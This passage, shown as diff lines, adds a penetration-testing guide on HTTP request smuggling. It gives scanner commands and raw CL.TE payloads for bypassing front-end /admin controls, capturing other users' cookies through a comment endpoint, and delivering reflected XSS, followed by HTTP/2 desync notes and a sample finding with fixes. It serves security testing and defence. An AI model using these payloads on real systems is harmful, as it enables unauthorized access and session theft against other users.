|
|
156
|
+
### Step 4: Use Automated Detection Tools
|
|
157
|
+
|
|
158
|
+
Run automated scanners to detect smuggling variants.
|
|
159
|
+
|
|
160
|
+
```bash
|
|
161
|
+
# Using smuggler.py
|
|
162
|
+
git clone https://github.com/defparam/smuggler.git
|
|
163
|
+
cd smuggler
|
|
164
|
+
python3 smuggler.py -u "https://target.example.com/" -m GET POST
|
|
165
|
+
|
|
166
|
+
# Using Burp HTTP Request Smuggler extension
|
|
167
|
+
# 1. Install from BApp Store: "HTTP Request Smuggler"
|
|
168
|
+
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
|
|
169
|
+
# 3. Check Scanner > Issue Activity for results
|
|
170
|
+
|
|
171
|
+
# Using h2csmuggler for HTTP/2 smuggling
|
|
172
|
+
# git clone https://github.com/BishopFox/h2cSmuggler.git
|
|
173
|
+
python3 h2csmuggler.py -x "https://target.example.com/" \
|
|
174
|
+
"https://target.example.com/admin"
|
|
175
|
+
|
|
176
|
+
# Manual detection with Turbo Intruder
|
|
177
|
+
# Send paired requests with different timing
|
|
178
|
+
# First request: smuggling prefix
|
|
179
|
+
# Second request: normal request that gets affected
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
### Step 5: Exploit Request Smuggling for Impact
|
|
183
|
+
|
|
184
|
+
Leverage confirmed smuggling for practical attacks.
|
|
185
|
+
|
|
186
|
+
```
|
|
187
|
+
# Attack 1: Bypass front-end access controls
|
|
188
|
+
# Access /admin which is blocked by the front-end proxy
|
|
189
|
+
|
|
190
|
+
# CL.TE exploit:
|
|
191
|
+
POST / HTTP/1.1
|
|
192
|
+
Host: target.example.com
|
|
193
|
+
Content-Length: 56
|
|
194
|
+
Transfer-Encoding: chunked
|
|
195
|
+
|
|
196
|
+
0
|
|
197
|
+
|
|
198
|
+
GET /admin HTTP/1.1
|
|
199
|
+
Host: target.example.com
|
|
200
|
+
Foo: x
|
|
201
|
+
|
|
202
|
+
# The smuggled "GET /admin" request bypasses front-end restrictions
|
|
203
|
+
# because it's processed by the back-end directly
|
|
204
|
+
|
|
205
|
+
# Attack 2: Capture other users' requests
|
|
206
|
+
# Smuggle a request that stores the next user's request in a visible location
|
|
207
|
+
|
|
208
|
+
POST / HTTP/1.1
|
|
209
|
+
Host: target.example.com
|
|
210
|
+
Content-Length: 130
|
|
211
|
+
Transfer-Encoding: chunked
|
|
212
|
+
|
|
213
|
+
0
|
|
214
|
+
|
|
215
|
+
POST /api/comments HTTP/1.1
|
|
216
|
+
Host: target.example.com
|
|
217
|
+
Content-Type: application/x-www-form-urlencoded
|
|
218
|
+
Content-Length: 400
|
|
219
|
+
|
|
220
|
+
body=
|
|
221
|
+
|
|
222
|
+
# The next legitimate user's request gets appended to "body="
|
|
223
|
+
# and stored as a comment, exposing their cookies and headers
|
|
224
|
+
|
|
225
|
+
# Attack 3: Reflected XSS escalation
|
|
226
|
+
# Smuggle a request that will reflect XSS in the next response
|
|
227
|
+
|
|
228
|
+
POST / HTTP/1.1
|
|
229
|
+
Host: target.example.com
|
|
230
|
+
Content-Length: 150
|
|
231
|
+
Transfer-Encoding: chunked
|
|
232
|
+
|
|
233
|
+
0
|
|
234
|
+
|
|
235
|
+
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
|
|
236
|
+
Host: target.example.com
|
|
237
|
+
Content-Length: 10
|
|
238
|
+
Foo: x
|
|
239
|
+
|
|
240
|
+
# Next user receives the XSS response instead of their expected response
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### Step 6: Test HTTP/2 Request Smuggling
|
|
244
|
+
|
|
245
|
+
Assess HTTP/2 specific smuggling vectors.
|
|
246
|
+
|
|
247
|
+
```
|
|
248
|
+
# HTTP/2 smuggling via CRLF injection in headers
|
|
249
|
+
# HTTP/2 should reject \r\n in header values, but some proxies don't
|
|
250
|
+
|
|
251
|
+
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
|
|
252
|
+
# Send HTTP/2 request with mismatched :path and content
|
|
253
|
+
|
|
254
|
+
# Using Burp Suite with HTTP/2 support:
|
|
255
|
+
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
|
|
256
|
+
# 2. Craft request with conflicting CL header
|
|
257
|
+
|
|
258
|
+
# HTTP/2 header injection
|
|
259
|
+
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
|
|
260
|
+
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
|
|
261
|
+
|
|
262
|
+
# Test HTTP/2 request tunneling
|
|
263
|
+
# If front-end reuses HTTP/2 connections for multiple users:
|
|
264
|
+
# Poison the connection to affect subsequent requests
|
|
265
|
+
|
|
266
|
+
# H2.TE smuggling via HTTP/2 CONNECT
|
|
267
|
+
# Use CONNECT method in HTTP/2 to establish tunnels
|
|
268
|
+
# that bypass front-end security controls
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
## Key Concepts
|
|
272
|
+
|
|
273
|
+
| Concept | Description |
|
|
274
|
+
|---------|-------------|
|
|
275
|
+
| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |
|
|
276
|
+
| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |
|
|
277
|
+
| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |
|
|
278
|
+
| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |
|
|
279
|
+
| **Request Splitting** | One HTTP request is interpreted as two separate requests |
|
|
280
|
+
| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |
|
|
281
|
+
| **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
|
|
282
|
+
|
|
283
|
+
## Tools & Systems
|
|
284
|
+
|
|
285
|
+
| Tool | Purpose |
|
|
286
|
+
|------|---------|
|
|
287
|
+
| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |
|
|
288
|
+
| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |
|
|
289
|
+
| **smuggler.py** | Python-based automated HTTP request smuggling scanner |
|
|
290
|
+
| **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox |
|
|
291
|
+
| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |
|
|
292
|
+
| **curl** | Manual HTTP request crafting with precise byte control |
|
|
293
|
+
|
|
294
|
+
## Common Scenarios
|
|
295
|
+
|
|
296
|
+
### Scenario 1: Admin Panel Access Bypass
|
|
297
|
+
The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
|
|
298
|
+
|
|
299
|
+
### Scenario 2: Cookie Theft via Request Capture
|
|
300
|
+
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
|
|
301
|
+
|
|
302
|
+
### Scenario 3: Cache Poisoning via Smuggling
|
|
303
|
+
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
|
|
304
|
+
|
|
305
|
+
### Scenario 4: HTTP/2 Desync on CDN
|
|
306
|
+
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
|
|
307
|
+
|
|
308
|
+
## Output Format
|
|
309
|
+
|
|
310
|
+
```
|
|
311
|
+
## HTTP Request Smuggling Finding
|
|
312
|
+
|
|
313
|
+
**Vulnerability**: CL.TE HTTP Request Smuggling
|
|
314
|
+
**Severity**: Critical (CVSS 9.1)
|
|
315
|
+
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
|
|
316
|
+
**OWASP Category**: A05:2021 - Security Misconfiguration
|
|
317
|
+
|
|
318
|
+
### Architecture
|
|
319
|
+
Front-end: Cloudflare (Content-Length priority)
|
|
320
|
+
Back-end: Gunicorn (Transfer-Encoding priority)
|
|
321
|
+
Protocol: HTTP/1.1 between proxy and origin
|
|
322
|
+
|
|
323
|
+
### Reproduction Steps
|
|
324
|
+
1. Send POST request with both Content-Length and Transfer-Encoding headers
|
|
325
|
+
2. Content-Length set to include smuggled request prefix
|
|
326
|
+
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
|
|
327
|
+
4. Smuggled data becomes prefix of next back-end request
|
|
328
|
+
|
|
329
|
+
### Confirmed Exploits
|
|
330
|
+
| Exploit | Impact |
|
|
331
|
+
|---------|--------|
|
|
332
|
+
| Admin bypass | Accessed /admin without authentication |
|
|
333
|
+
| Request capture | Stole session cookies from other users |
|
|
334
|
+
| XSS escalation | Delivered reflected XSS to arbitrary users |
|
|
335
|
+
| Cache poisoning | Poisoned CDN cache with malicious response |
|
|
336
|
+
|
|
337
|
+
### Recommendation
|
|
338
|
+
1. Ensure front-end and back-end use the same HTTP parsing behavior
|
|
339
|
+
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
|
|
340
|
+
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
|
|
341
|
+
4. Use HTTP/2 between proxy and origin server
|
|
342
|
+
5. Normalize requests at the front-end before forwarding
|
|
343
|
+
```
|